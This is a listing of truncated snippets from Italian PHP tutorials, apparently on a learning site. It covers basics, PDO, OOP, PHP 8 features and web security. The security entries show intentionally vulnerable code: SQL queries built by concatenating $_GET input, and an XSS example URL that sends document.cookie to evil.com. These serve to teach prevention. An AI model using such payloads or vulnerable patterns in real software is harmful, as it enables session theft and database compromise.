• Introduzione a PHP

    27-01-2026 10:31:24
    PHP (PHP: Hypertext Preprocessor) è un linguaggio di scripting server-side usato per lo sviluppo web.Caratteristiche principaliOpen source e gratuitoFacile da imparareAmpio supporto database...
  • Variabili PHP

    27-01-2026 10:31:24
    Le variabili in PHP iniziano sempre con il simbolo dollaro $.Dichiarazione$nome = "Mario"; $eta = 30; $prezzo = 19.99; $attivo = true;Regole per i nomiIniziano con...
  • Stringhe in PHP

    27-01-2026 10:31:24
    Le stringhe sono sequenze di caratteri racchiuse tra virgolette.Virgolette singole vs doppie$nome = "Mario"; // Doppie: interpola variabili echo "Ciao $nome"; // Output: Ciao Mario // Singole: testo lette...
  • Array in PHP

    27-01-2026 10:31:24
    Gli array permettono di memorizzare più valori in una singola variabile.Array indicizzati$frutti = ["mela", "banana", "arancia"]; // oppure $frutti = array("mela", "banana", "arancia"); echo $frutti[0]; //...
  • Operatori PHP

    27-01-2026 10:31:24
    Gli operatori PHP permettono di eseguire operazioni su variabili e valori.Operatori aritmetici$a + $b // Addizione $a - $b // Sottrazione $a * $b // Moltiplicazione $a / $b // Divisione $a % $b //...
  • Le strutture condizionali permettono di eseguire codice in base a condizioni.if baseif ($eta >= 18) { echo "Maggiorenne"; }if...elseif ($eta >= 18) { echo "Maggioren...
  • Switch statement PHP

    27-01-2026 10:32:54
    Lo switch è utile quando si confronta una variabile con molti valori possibili.Sintassi$giorno = "lunedi"; switch ($giorno) { case "lunedi": echo "Inizio settimana"; break; case "ve...
  • Ciclo for in PHP

    27-01-2026 10:32:54
    Il ciclo for esegue un blocco di codice un numero specifico di volte.Sintassifor ($i = 0; $i < 10; $i++) { echo $i . " "; } // Output: 0 1 2 3 4 5 6 7 8 9Componenti...
  • Ciclo foreach in PHP

    27-01-2026 10:32:54
    Il ciclo foreach è ideale per iterare su array e oggetti.Array indicizzati$frutti = ["mela", "banana", "arancia"]; foreach ($frutti as $frutto) { echo $frutto . " "; }Con indice...
  • Cicli while e do-while

    27-01-2026 10:32:54
    I cicli while e do-while eseguono codice finché una condizione è vera.while$i = 0; while ($i < 5) { echo $i; $i++; } // Output: 01234do-whileEsegue almeno u...
  • Funzioni in PHP

    27-01-2026 10:33:25
    Le funzioni sono blocchi di codice riutilizzabili che eseguono compiti specifici.Definire una funzionefunction saluta($nome) { return "Ciao, $nome!"; } echo saluta("Mario"); // Ciao, Mario!...
  • Scope delle variabili

    27-01-2026 10:33:25
    Lo scope determina dove una variabile è accessibile nel codice.Scope localefunction test() { $locale = "visibile solo qui"; } echo $locale; // Errore: variabile non definitaScope global...
  • Include e Require

    27-01-2026 10:33:25
    include e require permettono di inserire codice da altri file PHP.include vs require// include: warning se file non trovato, continua esecuzione include "header.php"; // require: errore fa...
  • Superglobali: GET e POST

    27-01-2026 10:33:25
    Le variabili $_GET e $_POST raccolgono dati inviati dai form HTML.$_GETDati passati nell URL (visibili):// URL: pagina.php?nome=Mario&eta=30 echo $_GET["nome"]; // Mario echo $_GET["...
  • Sessioni PHP

    27-01-2026 10:33:25
    Le sessioni permettono di memorizzare dati dell utente tra diverse pagine.Iniziare una sessionesession_start(); // DEVE essere prima di qualsiasi output HTMLSalvare datisess...
  • Cookie in PHP

    27-01-2026 10:34:06
    I cookie memorizzano piccole quantità di dati nel browser dell utente.Impostare un cookie// setcookie DEVE essere prima di qualsiasi output HTML setcookie("nome", "Mario", time() + 3600); // Scade in 1 ora ...
  • Connessione MySQL con PDO

    27-01-2026 10:34:06
    PDO (PHP Data Objects) è il modo consigliato per connettersi ai database in PHP.Connessionetry { $pdo = new PDO( "mysql:host=localhost;dbname=mydb;charset=utf8mb4", "username", "...
  • Query con PDO: SELECT

    27-01-2026 10:34:06
    Eseguire query SELECT con PDO in modo sicuro.Fetch singola riga$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?"); $stmt->execute([$email]); $user = $stmt->fetch(); if ($user) { echo $user["n...
  • Operazioni di scrittura database con PDO.INSERT$stmt = $pdo->prepare( "INSERT INTO users (nome, email, password) VALUES (?, ?, ?)" ); $stmt->execute([$nome, $email, password_hash($password, PASSWORD_DEF...
  • Gestione errori: try-catch

    27-01-2026 10:34:06
    La gestione degli errori con try-catch permette di catturare e gestire le eccezioni.Sintassi basetry { // Codice che potrebbe generare errore $result = riskyOperation(); } catch (Exception $e) { ...
  • Classi e oggetti (OOP)

    27-01-2026 10:34:32
    La Programmazione Orientata agli Oggetti (OOP) organizza il codice in classi e oggetti.Definire una classeclass User { public $nome; public $email; public function __construct($nome, $email...
  • Ereditarietà PHP

    27-01-2026 10:34:32
    L ereditarietà permette a una classe di ereditare proprietà e metodi da un altra.Classe base e derivataclass Animal { protected $nome; public function __construct($nome) { $this->nome =...
  • Interfacce e classi astratte

    27-01-2026 10:34:32
    Interfacce e classi astratte definiscono contratti per le classi.Interfacciainterface Printable { public function print(); public function getContent(); } class Document implements...
  • Namespace PHP

    27-01-2026 10:34:32
    I namespace organizzano il codice e prevengono conflitti di nomi.Definire namespace// file: App/Models/User.php namespace AppModels; class User { // ... }Usare classi con namespace...
  • Autoloading con Composer

    27-01-2026 10:34:32
    Composer gestisce le dipendenze e l autoloading in PHP.composer.json base{ "autoload": { "psr-4": { "App\": "src/" } } }Struttura directory...
  • Validazione input utente

    27-01-2026 10:36:43
    La validazione dell input è fondamentale per la sicurezza delle applicazioni.filter_input$email = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL); $id = filter_input(INPUT_GET, "id", FILTER_VALIDAT...
  • PHP offre funzioni native per gestire password in modo sicuro.Hash della password// Durante la registrazione $password = $_POST["password"]; $hash = password_hash($password, PASSWORD_DEFAULT); // Salva $has...
  • File upload in PHP

    27-01-2026 10:36:43
    Gestire l upload di file in modo sicuro con PHP.Form HTML<form method="POST" enctype="multipart/form-data"> <input type="file" name="documento"> <button>Carica</button> </...
  • Leggere e scrivere file

    27-01-2026 10:36:43
    PHP offre diverse funzioni per lavorare con i file.Leggere file// Tutto il contenuto $content = file_get_contents("file.txt"); // Array di righe $lines = file("file.txt", FILE_IGNORE_NEW_LINES); // Riga p...
  • JSON in PHP

    27-01-2026 10:36:43
    JSON (JavaScript Object Notation) è il formato standard per lo scambio di dati.Codificare in JSON$data = [ "nome" => "Mario", "eta" => 30, "skills" => ["PHP", "MySQL", "JavaScript"] ]; $json = ...
  • Date e orari in PHP

    27-01-2026 10:37:24
    PHP offre potenti funzioni per gestire date e orari.Funzione date()echo date("Y-m-d"); // 2024-01-15 echo date("d/m/Y"); // 15/01/2024 echo date("H:i:s"); // 14:30:00 echo date("l, d F Y")...
  • cURL per richieste HTTP

    27-01-2026 10:37:24
    cURL permette di effettuare richieste HTTP da PHP.GET request$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://api.example.com/data"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = cur...
  • Espressioni regolari (Regex)

    27-01-2026 10:37:24
    Le espressioni regolari permettono di cercare e manipolare pattern nei testi.preg_match// Verifica pattern if (preg_match("/^[a-z]+$/i", $input)) { echo "Solo lettere"; } // Estrai matches preg_match("...
  • Invio email con PHP

    27-01-2026 10:37:24
    Metodi per inviare email con PHP.Funzione mail() base$to = "dest@email.com"; $subject = "Oggetto"; $message = "Contenuto email"; $headers = "From: mittente@email.com"; mail($to, $subject, $message, $header...
  • Header HTTP e redirect

    27-01-2026 10:37:24
    La funzione header() invia header HTTP al browser.Redirect// Redirect semplice header("Location: /dashboard.php"); exit(); // Importante! // Redirect con status code header("Location: /nuova-pagina.php", t...
  • SQL Injection: prevenzione

    27-01-2026 10:38:14
    La SQL Injection è una delle vulnerabilità più pericolose. Ecco come prevenirla.Codice vulnerabile (MAI fare)// PERICOLOSO! $query = "SELECT * FROM users WHERE id = " . $_GET["id"]; $query = "SELECT * FROM ...
  • Gli attacchi XSS iniettano script malevoli nelle pagine web.Codice vulnerabile// PERICOLOSO! echo "Ciao " . $_GET["nome"]; // URL: ?nome=document.location="http://evil.com?c="+document.cookie...
  • Gli attacchi CSRF forzano azioni non autorizzate. Proteggiti con i token.Generare token CSRFsession_start(); function generateCsrfToken() { if (empty($_SESSION["csrf_token"])) { $_SESSION["csrf...
  • Traits PHP

    27-01-2026 10:38:14
    I Traits permettono di riutilizzare codice in classi non correlate.Definire un Traittrait Timestampable { public $createdAt; public $updatedAt; public function setCreatedAt() { $thi...
  • Type Hints e Return Types

    27-01-2026 10:38:14
    Type declarations in PHP migliorano la robustezza del codice.Parameter typesfunction greet(string $name): string { return "Hello, $name!"; } function sum(int $a, int $b): int { return $a + $b; } f...
  • Array functions avanzate

    27-01-2026 10:38:51
    Funzioni avanzate per manipolare array in PHP.array_map$numbers = [1, 2, 3, 4]; $doubled = array_map(fn($n) => $n * 2, $numbers); // [2, 4, 6, 8]array_filter$numbers = [1, 2...
  • Output Buffering

    27-01-2026 10:38:51
    L output buffering cattura l output prima di inviarlo al browser.Baseob_start(); // Inizia buffering echo "Questo viene catturato"; $content = ob_get_contents(); // Leggi contenuto ob_end_clean(); // Pulis...
  • Singleton Pattern

    27-01-2026 10:38:51
    Il pattern Singleton garantisce una sola istanza di una classe.Implementazioneclass Database { private static ?Database $instance = null; private PDO $connection; private function __constru...
  • Magic Methods

    27-01-2026 10:38:51
    I magic methods permettono di intercettare operazioni sugli oggetti.__construct e __destructclass File { private $handle; public function __construct($path) { $this->handle = fopen($pat...
  • Generators e yield

    27-01-2026 10:38:51
    I generators permettono di iterare su grandi dataset senza caricare tutto in memoria.Basefunction countTo($max) { for ($i = 1; $i ...
  • Attributes PHP 8

    27-01-2026 10:39:25
    Gli Attributes (PHP 8+) aggiungono metadati alle dichiarazioni.Definire un Attribute#[Attribute] class Route { public function __construct( public string $path, public string $method = "...
  • Named Arguments PHP 8

    27-01-2026 10:39:25
    I Named Arguments (PHP 8+) permettono di passare argomenti per nome.Sintassifunction createUser( string $name, string $email, string $role = "user", bool $active = true ) { } // Prima di PH...
  • Constructor Property Promotion (PHP 8+) semplifica la dichiarazione di proprietà.Prima di PHP 8class User { private string $name; private string $email; private int $age; public functio...
  • Null Safe Operator

    27-01-2026 10:39:25
    L operatore Null Safe (?->) semplifica le verifiche null in catena.Prima di PHP 8// Controllare ogni passaggio $country = null; if ($user !== null) { if ($user->getAddress() !== null) { $country...
  • Strumenti e tecniche per il debugging in PHP.var_dump$data = ["name" => "Mario", "age" => 30]; var_dump($data); // Mostra tipo e valore dettagliatiprint_rprint_r($data); // ...